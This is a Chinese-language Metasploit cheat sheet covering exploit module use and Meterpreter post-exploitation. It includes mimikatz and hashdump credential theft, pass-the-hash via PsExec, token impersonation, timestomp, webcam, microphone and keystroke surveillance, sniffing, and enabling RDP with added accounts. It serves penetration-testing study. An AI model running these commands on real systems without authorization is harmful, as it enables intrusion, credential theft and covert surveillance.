MSF 是一个渗透测试利用框架,在这个框架中集成了很多漏洞检测和利用的脚本工具,可以让我们直接利用,省去了在网络中查找脚本的时间。
MSF 框架使用
msf 数据库为 postgresql,在使用时要保证其是开启的
msf 使用流程
- 确定使用的脚本工具,可以通过search来搜索
- search cve:2020-0796
- search ms08-067
- search app:apache
- 使用对应的脚本,use 搜索序号 或use 脚本路径
- info查询脚本信息,show option 查看有哪些选项
- 若没有payload 需要设置payload,set payload xxx
- 设置需要填写的选项,set rhost xxx
- run或者exploit运行
- 获取到普通shell或者meterpreter shell后,进行后渗透操作
- meterpreter shell
-
进入系统shell ->执行 shell 命令,exit退出shell
-
execute calc.exe 执行程序
-
resource 执行指定文件中的命令,可以提前写好脚本,进行执行
-
transport 修改当前传输机制
-
获取当前使用的用户 getuid, guid
-
获取当前payload使用的进程 getpid
-
迁移进程到安全的进程中(权限和用户会随之更改为迁移进程的用户)
migrate 当前pid -P 迁移到pid | -N name | -t timeout -
若权限为普通用户,可通过提权脚本或命令进行提权
- ① getsystem 获取系统用户权限
- ② 通过 token 伪造
- use incognito 使用该模块
- list_tokens -u 列出所有有效token(登录了系统的用户)
- impersonate_token “用户名” 使用该用户token登录系统
- add_user user pass 添加用户
- add_localgroup_user group user 将用户添加到用户组
- add_group_user group user 将用户添加到域组中
- rev2self 返回之前的token
- ③ 通过 mimikatz 获取明文密码或者 sam 文件内容
- wdigest 直接执行获取密码(win10获取不到)
- mimikatz-command -f 执行mimikatz的命令
- mimikatz-command -f :: 可以获取帮助 mimikatz-command -f cls:: 查看有哪些可用的命令
- mimikatz-command -f samdump::hashes 获取sam中的hash值(win10获取不到)
- mimikatz-command -f sekurlsa:searchPasswords 查找显示所有用户的密码
- ④ 获取SAM文件(C:\windows\system32\config\SAM)内容
- hashdump
- run credcollect 转储hashdump的hash值(可用获取到token)
- run post/windows/gather/smart_hashdump 从SAM文件中获取hash
- 使用得到的hash进行登录(PSExec哈希传递攻击)
前提条件:1.开启445端口smb服务,2.开启admin$共享
use exploit/smb/psexec set payload windows/x64/meterpreter/reverse_tcp set rhost set SMBUser 用户 set SMBPass hash值LM:NTLM set SMBDomain WORKGROUP工作组(域环境需设置域) exploit
- 使用得到的hash进行登录(PSExec哈希传递攻击)
- ⑤ 使用exlploit/windows/local/下的脚本进行提权
- 测试可对win10 企业版1903提权
exploit/windows/local/cve_2020_0796_smbghost - exploit/windows/local/bypassuac 提权,内置多个pypassuac脚本
- 测试可对win10 企业版1903提权
- ⑥ 使用steal_token pid 窃取指定pid所属用户的token进行登录
- drop_token 删除窃取的token
-
其他功能
-
系统信息
-
sysinfo 获取系统信息
- meterpreter > sysinfo
Computer : DESKTOP-EOF
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
- meterpreter > sysinfo
-
ps 查看进程
-
idletime 获取系统闲置的时间,方便判断是否适合进行使用远程桌面登录(不是很准确)
-
-
文件系统操作指令
-
ls 查看文件内容
-
lls 查看msf主机所在目录中的内容
-
cd 切换目录
-
lcd 切换msf主机的目录
-
getwd 获取当前所在路径
-
getlwd 获取msf主机的当前路径
-
upload //root//test.txt C:\t.tx 上传文件,-r 递归的上传目录
-
search -f 查找文件 ,-d 查找目录,-r递归的查找子目录
-
edit 可直接编辑目标系统中的文件,有则修改,无则创建
-
timestomp 伪造文件事件
- timestomp -v C:\test.txt 查看目标系统中文件的时间信息
- timestomp C:\test.txt -f C:\test1.txt 将c:\test.txt文件的时间属性给c:\test1.txt
-
-
监控功能
-
监控摄像
- webcam_list 查看有哪些摄像头
- webcam_chat 进行视频聊天
- webcam_stream 从指定摄像头播放视频流
- webcam_snap 从指定摄像头拍照
-
监控麦克风
- record_mic 从默认麦克风录制X秒音频
-
监控桌面
- enumdesktops 枚举桌面
- getdesktop 获取当前meterpreter的桌面
- screenshare 获取远程桌面的共享(可以通过http查看到远程桌面)
- screenshot 获取桌面截图(win10失败)
-
监控键盘鼠标(会失效)
- uictl 控制键盘鼠标(开启或关闭 -h)
- keyscan_start 开启键盘记录
- keyscan_stop 停止键盘记录
- keyscan_dump 获取键盘记录结果
- keyevent 键盘事件
-
-
网络相关命令
-
getproxy 查看代理信息
-
portfwd 端口转发
- portfwd add -l 666 -p 3306 -r 127.0.0.1 添加一条端口本地端口转发,当我访问本地的666端口时,可以访问到目标的127.0.0.1:3306,本质是建立了一条隧道
- portfwd delete -l 666 -p 3306 -r 127.0.0.1 删除该端口转发
- portfwd list 查看端口转发列表
- pertfwd flush 清空端口转发
-
use sniffer 网络嗅探
- use sniffer 使用网络嗅探(win10 1903企业版失败)
- sniffer_interfaces 查看有哪些网卡接口
- sniffer_start 指定网卡进行嗅探
- sniffer_stats 指定网卡查看抓取状态
- sniffer_stop 指定网卡停止嗅探
- sniffer_dump 下载指定网卡抓取的包到指定文件中
- sniffer_release
-
-
run 直接运行脚本
-
brackground 后台运行
-
windows开启远程桌面连接
-
run post/windows/manage/enable_rdp 开启远程桌面的后渗透模块
-
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
-
run post/windows/manage/enable_rdp FORWARD=true LPORT=666 开启端口转发,将3389端口转发到666段
-
rdesktop kali进行远程做桌面登录
-
run getgui -e 开启远程桌面
-
run getgui -u test -p 123456 创建用户
-
run getgui -f 6666 -e 转发3389端口到6666并开启
- 相当于做了本地端口转发(当连接攻击机端口时,会通过已建立的连接去访问目标的127.0.0.1:3389),建立隧道,攻击机可用作为跳板机,或者为了防止对方3389端口被拦截,其他人或者攻击者可用通过访问攻击者的 IP:转发端口 来访问目标
-
rdesktop kali进行远程做桌面登录
-
run post/windows/manage/enable_rdp 打开目标的远程桌面
-
run vnc 使用vnc连接windows (获得远程桌面,但是我的只能查看,不能操作)
-
-
-